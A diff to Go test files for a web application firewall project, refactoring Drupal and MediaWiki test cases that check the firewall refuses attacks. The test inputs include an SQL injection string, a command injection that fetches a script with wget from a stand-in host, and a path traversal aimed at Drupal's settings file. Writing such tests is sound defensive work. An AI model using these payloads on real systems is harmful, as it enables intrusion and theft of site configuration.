diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index 58f7e45..aa53b67 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -1357,6 +1357,9 @@ const ( // injection is an SQL injection, which rule 942100 matches. const injection = "1' OR '1'='1" +// scriptTag is a script injection, not escaped. +const scriptTag = "" + // readingBodies returns the Core Rule Set as sww runs it by // default, but reading bodies up to bodyLimit. func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 4629f0b..2bf644e 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -131,8 +131,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { } for _, attack := range []string{ - `1' OR '1'='1`, - ``, + injection, + scriptTag, } { for _, field := range []string{ `"title":"` + attack + `"`, @@ -178,8 +178,8 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { crs := readingBodies(t) for _, attack := range []string{ - `1' OR '1'='1`, - ``, + injection, + scriptTag, `; wget http://example.com/x.sh`, `../../sites/default/settings.php`, } { diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go index a8d8264..b8cfd1b 100644 --- a/internal/coreruleset/mediawiki_test.go +++ b/internal/coreruleset/mediawiki_test.go @@ -204,8 +204,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { } for _, attack := range []string{ - `1' OR '1'='1`, - ``, + injection, + scriptTag, } { for _, field := range []string{"source", "comment"} { r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}